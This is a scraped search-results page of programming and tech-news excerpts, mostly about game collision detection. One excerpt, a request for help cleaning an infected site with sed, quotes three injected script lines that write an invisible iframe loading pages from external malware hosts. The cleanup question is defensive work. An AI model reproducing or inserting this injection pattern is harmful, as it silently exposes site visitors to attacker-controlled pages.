Search Results

Search found 2268 results on 91 pages for 'malware detection'.

Page 13/91 | < Previous Page | 9 10 11 12 13 14 15 16 17 18 19 20  | Next Page >

  • Getting collision detection in Pygames

    - by user36010
    I am writing a game in Pygame, I want to get collision detection. The aim is when a object hits another, the target object disappears. I want to avoid having classes and just have my code class less for now, in one script. This makes it difficult to get collision detection because the Rect method in Pygame is called on by an object(class). The logic I want to achieve is: object hits a target object target object disappears. is there an easy way to achieve this?(with minimal code possible)

    Read the article

  • Ouch, how to escape this in sed? Cleaning up iframe malware

    - by user1769783
    I'm helping someone clean up a malware infection on a site and I'm having a difficult time correctly matching some strings in sed so I can create a script to mass search and replace / remove it. The strings are: <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script> <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"></iframe></div>');</script> <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script> I cant seem to figure out how to escape the various characters in those lines... If I try to just say delete the entire line if it matches http://vidintex.com/includes/class.pop.php it also deletes the closing "" in the .html files as well. Any help would be greatly appreciated!

    Read the article

  • Week in Geek: New Malware Steals Bitcoin Currency

    - by Asian Angel
    This week we learned how to easily change a dual-booting PC’s default OS, “extract audio from any video using VLC, sneak around paywalls, & delay Windows Live Mesh during boot”, shrink videos to fit an Android phone with VLC, fix damaged or broken audio cables, “decide between an ISO or TS folder, help Windows 7 remember folder locations, & convert books for the Kindle”, and more. Photo by Profound Whatever.How to Make and Install an Electric Outlet in a Cabinet or DeskHow To Recover After Your Email Password Is CompromisedHow to Clean Your Filthy Keyboard in the Dishwasher (Without Ruining it)

    Read the article

  • Week in Geek: Malware-Infected Web Sites Doubled Since Last Year

    - by Asian Angel
    This week we learned how to get spelling autocorrect across all applications on a Windows system, “diagnose DSL hang ups, extract media files from PowerPoint presentations, & restrict IE to a single website”, customize the Ubuntu bootloader screen, get smartphone-style word suggestion on Windows systems, learned what character encodings are and how they differ, and more. Photo by Profound Whatever.HTG Explains: What Are Character Encodings and How Do They Differ?How To Make Disposable Sleeves for Your In-Ear MonitorsMacs Don’t Make You Creative! So Why Do Artists Really Love Apple?

    Read the article

  • Is there a simple way to stop enemies standing in the same spot?

    - by Iain
    So: top-down game, my enemies chase the player, when they get within a certain distance they stand still and fire. If they're all coming from the same direction they all end up standing in the same spot (i.e. standing "within" each other), as I'm not currently doing collision detection between enemies - they are free to pass over each other. What's a simple way around this? Either some form of collision detection or some ai?

    Read the article

  • Week in Geek: Malware for Android has Increased 472% since July

    - by Asian Angel
    This week we learned how to safely eject your USB devices from the desktop context menu, make the Kindle Fire Silk Browser *actually* fast, “disable Windows startup programs, use DNS names on your home network, & restore a vintage keyboard”, print or save a directory listing to a file, make your computer press a key every X seconds, and more. How to Make the Kindle Fire Silk Browser *Actually* Fast! Amazon’s New Kindle Fire Tablet: the How-To Geek Review HTG Explains: How Hackers Take Over Web Sites with SQL Injection / DDoS

    Read the article

  • Mobilizing A Community To Fight Malware

    <b>Help Net Security:</b> "The word about Immunet's free anti-virus solution is spreading fast. The agent installed on my computer tells me that there are currently 162,597 people in the Immunet Cloud, and that I'm protected from 12,637,576 threats"

    Read the article

  • I am starting to think that Prevx.com isnt a legit site...but heres my long-winded question

    - by cop1152
    I apologize in advance for the long-winded post. I posted it all because I believe its informative and may be useful. Also, I posted my question at the end. Moments ago I was RDC to a file server in my home (from inside my home). I had opened Firefox and Googled for a manufacturers website. Immediately after clicking the link, Firefox abruptly closed. This seemed odd to me to so I checked the running processes and discovered d.exe, e.exe, and f.exe running. I Googled these processes on a different machine and found them belonging to a key-logger/screen-capturer/trojan called defender.exe, which according to the Prevx lives in c:\documents and settings\user\local settings\temp. (Prevx link http://www.prevx.com/filenames/147352809685142526-X1/DEFENDER32.EXE.html) Simultaneously, an obviously-spoofed Windows Firewall popup appeared on the server asking me to click ‘yes’ to update Windows Firewall. At this time I ended all rogue processes, emptied the temp folder, removed defender.exe from startup, and checked my registry and a few other locations. Before deleting Defender.exe I noted that it was created moments ago, just before Firefox crashed. I believe that I was ‘almost’ infected with this malware. I believe that it needed me to click the phony popup in order to complete infection because it wasn’t allowed to execute processes from the temp folder. After cleaning the machine, I restarted it and have been monitoring it for over an hour. I am debating on whether or not to restore the Windows partition (a separate physical drive from the data) or to just watch it for awhle. I should mention that, because of the specs on this machine, I do not run antivirus software, but I know it well and inspect it regularly. It is a very old Compaq with a 400mhz processer and 512mb of ram. I have a static IP and the server is in the DMZ running an FTP client and some HTTP server software. All files transferred to and stored on this machine are scanned for malware before transferring. Usually the machine only runs 19 processes and performs pretty well for its intended purpose. I posted the story so that you could be aware of a possible new piece of malware and how it acts, but I also have a question or two. First, over the last few months I have noticed that PREVX is listed at the top of most of my Google searches when researching malware, especially for new or obscure malware…and they always want you to purchase something. I don’t think they are one of the top AV companies, so it seems odd that they are always the top Google result. Does anyone have any experience with any of their products? Also, what sites do you rely on for malware researching? Recently, I have found it difficult to find good info because of HijackThis-logs and other deadend info cluttering up my searches. And lastly, besides antivirus, third-party firewall, etc, what settings would you use to lock down a machine to make it more secure in instances where a stubborn admin like myself refuses to run AV? Thanks.

    Read the article

  • Optimizing collision engine bottleneck

    - by Vittorio Romeo
    Foreword: I'm aware that optimizing this bottleneck is not a necessity - the engine is already very fast. I, however, for fun and educational purposes, would love to find a way to make the engine even faster. I'm creating a general-purpose C++ 2D collision detection/response engine, with an emphasis on flexibility and speed. Here's a very basic diagram of its architecture: Basically, the main class is World, which owns (manages memory) of a ResolverBase*, a SpatialBase* and a vector<Body*>. SpatialBase is a pure virtual class which deals with broad-phase collision detection. ResolverBase is a pure virtual class which deals with collision resolution. The bodies communicate to the World::SpatialBase* with SpatialInfo objects, owned by the bodies themselves. There currenly is one spatial class: Grid : SpatialBase, which is a basic fixed 2D grid. It has it's own info class, GridInfo : SpatialInfo. Here's how its architecture looks: The Grid class owns a 2D array of Cell*. The Cell class contains two collection of (not owned) Body*: a vector<Body*> which contains all the bodies that are in the cell, and a map<int, vector<Body*>> which contains all the bodies that are in the cell, divided in groups. Bodies, in fact, have a groupId int that is used for collision groups. GridInfo objects also contain non-owning pointers to the cells the body is in. As I previously said, the engine is based on groups. Body::getGroups() returns a vector<int> of all the groups the body is part of. Body::getGroupsToCheck() returns a vector<int> of all the groups the body has to check collision against. Bodies can occupy more than a single cell. GridInfo always stores non-owning pointers to the occupied cells. After the bodies move, collision detection happens. We assume that all bodies are axis-aligned bounding boxes. How broad-phase collision detection works: Part 1: spatial info update For each Body body: Top-leftmost occupied cell and bottom-rightmost occupied cells are calculated. If they differ from the previous cells, body.gridInfo.cells is cleared, and filled with all the cells the body occupies (2D for loop from the top-leftmost cell to the bottom-rightmost cell). body is now guaranteed to know what cells it occupies. For a performance boost, it stores a pointer to every map<int, vector<Body*>> of every cell it occupies where the int is a group of body->getGroupsToCheck(). These pointers get stored in gridInfo->queries, which is simply a vector<map<int, vector<Body*>>*>. body is now guaranteed to have a pointer to every vector<Body*> of bodies of groups it needs to check collision against. These pointers are stored in gridInfo->queries. Part 2: actual collision checks For each Body body: body clears and fills a vector<Body*> bodiesToCheck, which contains all the bodies it needs to check against. Duplicates are avoided (bodies can belong to more than one group) by checking if bodiesToCheck already contains the body we're trying to add. const vector<Body*>& GridInfo::getBodiesToCheck() { bodiesToCheck.clear(); for(const auto& q : queries) for(const auto& b : *q) if(!contains(bodiesToCheck, b)) bodiesToCheck.push_back(b); return bodiesToCheck; } The GridInfo::getBodiesToCheck() method IS THE BOTTLENECK. The bodiesToCheck vector must be filled for every body update because bodies could have moved meanwhile. It also needs to prevent duplicate collision checks. The contains function simply checks if the vector already contains a body with std::find. Collision is checked and resolved for every body in bodiesToCheck. That's it. So, I've been trying to optimize this broad-phase collision detection for quite a while now. Every time I try something else than the current architecture/setup, something doesn't go as planned or I make assumption about the simulation that later are proven to be false. My question is: how can I optimize the broad-phase of my collision engine maintaining the grouped bodies approach? Is there some kind of magic C++ optimization that can be applied here? Can the architecture be redesigned in order to allow for more performance? Actual implementation: SSVSCollsion Body.h, Body.cpp World.h, World.cpp Grid.h, Grid.cpp Cell.h, Cell.cpp GridInfo.h, GridInfo.cpp

    Read the article

  • Is the guideline: don't open email attachments or execute downloads or run plug-ins (Flash, Java) from untrusted sites enough to avert infection?

    - by therobyouknow
    I'd like to know if the following is enough to avert malware as I feel that the press and other advisory resources aren't always precisely clear on all the methods as to how PCs get infected. To my mind, the key step to getting infected is a conscious choice by the user to run an executable attachment from an email or download, but also viewing content that requires a plug-in (Flash, Java or something else). This conscious step breaks down into the following possibilities: don't open email attachments: certainly agree with this. But lets try to be clear: email comes in 2 parts -the text and the attachment. Just reading the email should not be risky, right? But opening (i.e. running) email attachments IS risky (malware can be present in the attachment) don't execute downloads (e.g. from sites linked from in suspect emails or otherwise): again certainly agree with this (malware can be present in the executable). Usually the user has to voluntary click to download, or at least click to run the executable. Question: has there ever been a case where a user has visited a site and a download has completed on its own and run on its own? don't run content requiring plug-ins: certainly agree: malware can be present in the executable. I vaguely recall cases with Flash but know of the Java-based vulnerabilities much better. Now, is the above enough? Note that I'm much more cautious than this. What I'm concerned about is that the media is not always very clear about how the malware infection occurs. They talk of "booby-trapped sites", "browser attacks" - HOW exactly? I'd presume the other threat would be malevolent use of Javascript to make an executable run on the user's machine. Would I be right and are there details I can read up on about this. Generally I like Javascript as a developer, please note. An accepted answer would fill in any holes I've missed here so we have a complete general view of what the threats are (even though the actual specific details of new threats vary, but the general vectors are known).

    Read the article

  • Collision Resolution

    - by ultifinitus
    Hey all, I'm making a simple side-scrolling game, and I would appreciate some input! My collision detection system is a simple bounding box detection, so it's really easy to implement. However my collision resolution is ridiculous! Currently I have a little formula like this: if (colliding(firstObject,secondObject)) firstObject.resolve_collision(yAxisOffset); if (colliding(firstObject,secondObject)) firstObject.resolve_collision(xAxisOffset); where yAxisOffset is only set if the first object's previous y position was outside the second object's collision frame, respectively xAxisOffset as well. Now this is working great, in general. However there is a single problem. When I have a stack of objects and I push the first object against that stack, the first object get's "stuck," on the stack. What's I think is happening is the object's collision system checks and resolves for collisions based on creation time, so If I check one axis, then the other, the object will "sink" object directly along the checking axis. This sinking action causes the collision detection routine to think there's a gap between our position and the other object's position, and when I finally check the object that I've already sunk into, my object's position is resolved to it's original position... All this is great, and I'm sure if I bang my head against a wall long enough i'll come up with a working algorithm, but I'd rather not =). So what in the heck do you think I should do? How could I change my collision resolution system to fix this? Here's the program (temporary link, not sure how long it'll last) (notes: arrow keys to navigate, click to drop block, x to jump) I'd appreciate any help you can offer!

    Read the article

  • Making a perfect map (not tile-based)

    - by Sri Harsha Chilakapati
    I would like to make a map system as in the GameMaker and the latest code is here. I've searched a lot in google and all of them resulted in tutorials about tile-maps. As tile maps do not fit for every type of game and GameMaker uses tiles for a different purpose, I want to make a "Sprite Based" map. The major problem I had experienced was collision detection being slow for large maps. So I wrote a QuadTree class here and the collision detection is fine upto 50000 objects in the map without PixelPerfect collision detection and 30000 objects with PixelPerferct collisions enabled. Now I need to implement the method "isObjectCollisionFree(float x, float y, boolean solid, GObject obj)". The existing implementation is becoming slow in Platformer games and I need suggestions on improvement. The current Implementation: /** * Checks if a specific position is collision free in the map. * * @param x The x-position of the object * @param y The y-position of the object * @param solid Whether to check only for solid object * @param object The object ( used for width and height ) * @return True if no-collision and false if it collides. */ public static boolean isObjectCollisionFree(float x, float y, boolean solid, GObject object){ boolean bool = true; Rectangle bounds = new Rectangle(Math.round(x), Math.round(y), object.getWidth(), object.getHeight()); ArrayList<GObject> collidables = quad.retrieve(bounds); for (int i=0; i<collidables.size(); i++){ GObject obj = collidables.get(i); if (obj.isSolid()==solid && obj != object){ if (obj.isAlive()){ if (bounds.intersects(obj.getBounds())){ bool = false; if (Global.USE_PIXELPERFECT_COLLISION){ bool = !GUtil.isPixelPerfectCollision(x, y, object.getAnimation().getBufferedImage(), obj.getX(), obj.getY(), obj.getAnimation().getBufferedImage()); } break; } } } } return bool; } Thanks.

    Read the article

  • Bounding volume hierarchy - linked nodes (linear model)

    - by teodron
    The scenario A chain of points: (Pi)i=0,N where Pi is linked to its direct neighbours (Pi-1 and Pi+1). The goal: perform efficient collision detection between any two, non-adjacent links: (PiPi+1) vs. (PjPj+1). The question: it's highly recommended in all works treating this subject of collision detection to use a broad phase and to implement it via a bounding volume hierarchy. For a chain made out of Pi nodes, it can look like this: I imagine the big blue sphere to contain all links, the green half of them, the reds a quarter and so on (the picture is not accurate, but it's there to help understand the question). What I do not understand is: How can such a hierarchy speed up computations between segments collision pairs if one has to update it for a deformable linear object such as a chain/wire/etc. each frame? More clearly, what is the actual principle of collision detection broad phases in this particular case/ how can it work when the actual computation of bounding spheres is in itself a time consuming task and has to be done (since the geometry changes) in each frame update? I think I am missing a key point - if we look at the picture where the chain is in a spiral pose, we see that most spheres are already contained within half of others or do intersect them.. it's odd if this is the way it should work.

    Read the article

< Previous Page | 9 10 11 12 13 14 15 16 17 18 19 20  | Next Page >